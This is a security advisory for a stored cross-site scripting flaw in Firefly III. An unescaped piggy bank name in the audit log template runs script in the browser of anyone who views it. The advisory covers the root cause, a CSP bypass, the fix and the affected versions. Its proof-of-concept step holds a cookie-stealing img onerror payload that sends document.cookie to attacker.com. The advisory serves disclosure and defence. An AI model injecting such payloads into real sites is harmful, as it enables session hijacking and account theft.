GHSA-6jq6-x4cx-qvcm

Suggest an improvement
Source
https://github.com/advisories/GHSA-6jq6-x4cx-qvcm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-6jq6-x4cx-qvcm/GHSA-6jq6-x4cx-qvcm.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6jq6-x4cx-qvcm
Published
2026-06-12T15:04:50Z
Modified
2026-09-10T03:51:08Z
Severity
  • 5.1 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N CVSS Calculator
Summary
Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)
Details

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

  1. Authenticate as any user
  2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
  3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
  4. Trigger the rule on any transaction
  5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

  • Stored XSS persists in DB — fires for every user who views the transaction
  • Cookie theft → session hijacking
  • In multi-user setups: one user attacks another user or admin
  • Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}
Database specific
{
    "cwe_ids":  [
        "CWE-116",
        "CWE-79"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-06-12T15:04:50Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

Packagist / grumpydictator/firefly-iii

Package

Name
grumpydictator/firefly-iii
Purl
pkg:composer/grumpydictator/firefly-iii

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
6.6.3

Affected versions

3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.1
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6
3.2.0
3.2.1
3.2.2
3.2.3
3.2.4
3.2.5
3.3
3.3.1
3.3.2
3.3.3
3.3.4
3.3.5
3.3.6
3.3.7
3.3.8
3.3.9
3.4
3.4.0.1
3.4.0.2
3.4.0.3
3.4.0.4
3.4.0.5
3.4.0.6
3.4.0.7
3.4.0.8
3.4.0.9
3.4.0.10
3.4.1
3.4.2
3.4.3
3.4.4
3.4.4.1
3.4.4.2
3.4.5
3.4.6
3.4.6.1
3.4.7
3.4.8
3.4.9
3.4.10
3.4.11
3.5.0
3.5.1
3.5.2
3.5.3
3.5.4
3.5.5
3.5.6
3.5.6.1
3.6.0
3.6.1
3.7.0
3.7.1
3.7.2
3.7.2.1
3.7.2.2
3.7.2.3
3.8.0
3.8.1
3.8.2
3.8.3
3.8.4
3.9.0
3.9.1
3.10
3.10.1
3.10.2
3.10.3
3.10.4
4.*
4.0.0
4.0.1
4.0.2
4.1.0
4.1.1
4.1.2
4.1.3
4.1.4
4.1.5
4.1.6
4.1.7
4.2.0
4.2.1
4.2.2
4.3.0
4.3.1
4.3.2
4.3.3
4.3.4
4.3.5
4.3.6
4.3.7
4.3.8
4.4.0
4.4.1
4.4.2
4.4.3
4.5.0
4.6.0
4.6.1
4.6.2
4.6.3
4.6.3.1
4.6.4
4.6.5
4.6.6
4.6.7
4.6.8
4.6.9
4.6.10
4.6.11
4.6.11.1
4.6.12
4.6.13
4.7.0
4.7.1
4.7.1.1
4.7.1.2
4.7.1.3
4.7.1.4
4.7.2
4.7.2.1
4.7.2.2
4.7.3
4.7.3.1
4.7.3.2
4.7.4
4.7.5
4.7.5.1
4.7.5.2
4.7.5.3
4.7.6
4.7.6.1
4.7.6.2
4.7.7
4.7.8
4.7.9
4.7.10
4.7.11
4.7.12
4.7.12.1
4.7.13
4.7.14
4.7.15
4.7.16
4.7.17
4.7.17.1
4.7.17.2
4.7.17.3
4.7.17.4
4.7.17.5
4.7.17.6
4.8.0
4.8.0.1
4.8.0.2
4.8.0.3
4.8.1
4.8.1.1
4.8.1.2
4.8.1.3
4.8.1.4
4.8.1.5
4.8.1.6
4.8.1.7
4.8.1.8
4.8.2-alpha.1
4.8.2-alpha.2
4.8.2-alpha.3
4.8.2-alpha.4
4.8.2-alpha.5
4.8.2-alpha.6
4.8.2-beta.1
4.8.2-beta.2
4.8.2
4.8.3-alpha.1
5.*
5.0.0-alpha.1
5.0.0-alpha.2
5.0.0-beta.1
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.1.0-alpha.1
5.1.0-beta.1
5.1.0
5.1.1
5.2.0-alpha.1
5.2.0-beta.1
5.2.0
5.2.1
5.2.2
5.2.3
5.2.4
5.2.5
5.2.6
5.2.7
5.2.8
5.3.0-alpha.1
5.3.0-beta.1
5.3.0-beta.2
5.3.0
5.3.1
5.3.2
5.3.3
5.4.0-alpha.1
5.4.0-alpha.2
5.4.0-alpha.3
5.4.0-beta.1
5.4.0
5.4.1
5.4.2
5.4.3
5.4.4
5.4.5
5.4.6
5.5.0-beta.1
5.5.0-beta.2
5.5.0-beta.3
5.5.0
5.5.1
5.5.2
5.5.3
5.5.4
5.5.5
5.5.6
5.5.7
5.5.8
5.5.9
5.5.10
5.5.11
5.5.12
5.5.13
5.6.0-alpha.1
5.6.0-alpha.2
5.6.0
5.6.1
5.6.2
5.6.3
5.6.4
5.6.5
5.6.6
5.6.7
5.6.8
5.6.9
5.6.10
5.6.11
5.6.12
5.6.13
5.6.14
5.6.15
5.6.16
5.7.0
5.7.1
5.7.2
5.7.3
5.7.4
5.7.5
5.7.6
5.7.7
5.7.8
5.7.9
5.7.10
5.7.11
5.7.12
5.7.13
5.7.14
5.7.15
5.7.16
5.7.17
5.7.18
5.8.0-alpha.1
6.*
6.0.0-alpha.1
6.0.0-alpha.2
6.0.0-beta.1
6.0.9
v6.*
v6.0.0-beta.2
v6.0.0
v6.0.1
v6.0.2
v6.0.3
v6.0.4
v6.0.5
v6.0.6
v6.0.7
v6.0.8
v6.0.10
v6.0.11
v6.0.12
v6.0.13
v6.0.14
v6.0.15
v6.0.16
v6.0.17
v6.0.18
v6.0.19
v6.0.20
v6.0.21
v6.0.22
v6.0.23
v6.0.24
v6.0.25
v6.0.26
v6.0.27
v6.0.28
v6.0.29
v6.0.30
v6.1.0-alpha.1
v6.1.0
v6.1.1
v6.1.2
v6.1.3
v6.1.4
v6.1.5
v6.1.6
v6.1.7
v6.1.8
v6.1.9
v6.1.10
v6.1.11
v6.1.12
v6.1.13
v6.1.14
v6.1.15
v6.1.16
v6.1.17
v6.1.18
v6.1.19
v6.1.20
v6.1.21
v6.1.22
v6.1.23
v6.1.24
v6.1.25
v6.2.0-alpha.1
v6.2.0-alpha.2
v6.2.0-beta.1
v6.2.0
v6.2.1
v6.2.2
v6.2.3
v6.2.4
v6.2.5
v6.2.6
v6.2.7
v6.2.8
v6.2.9
v6.2.10
v6.2.11
v6.2.12
v6.2.13
v6.2.14
v6.2.15
v6.2.16
v6.2.17
v6.2.18
v6.2.19
v6.2.20
v6.2.21
v6.3.0-beta.1
v6.3.0-beta.2
v6.3.0
v6.3.1
v6.3.2
v6.4.0
v6.4.1
v6.4.2
v6.4.3
v6.4.4
v6.4.5
v6.4.6
v6.4.7
v6.4.8
v6.4.9
v6.4.10
v6.4.11
v6.4.12
v6.4.13
v6.4.14
v6.4.15
v6.4.16
v6.4.17
v6.4.18
v6.4.19
v6.4.20
v6.4.21
v6.4.22
v6.4.23
v6.5.0
v6.5.1
v6.5.2
v6.5.3
v6.5.4
v6.5.5
v6.5.6
v6.5.7
v6.5.8
v6.5.9
v6.6.0
v6.6.1
v6.6.2

Database specific

last_known_affected_version_range
"<= 6.6.2"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-6jq6-x4cx-qvcm/GHSA-6jq6-x4cx-qvcm.json"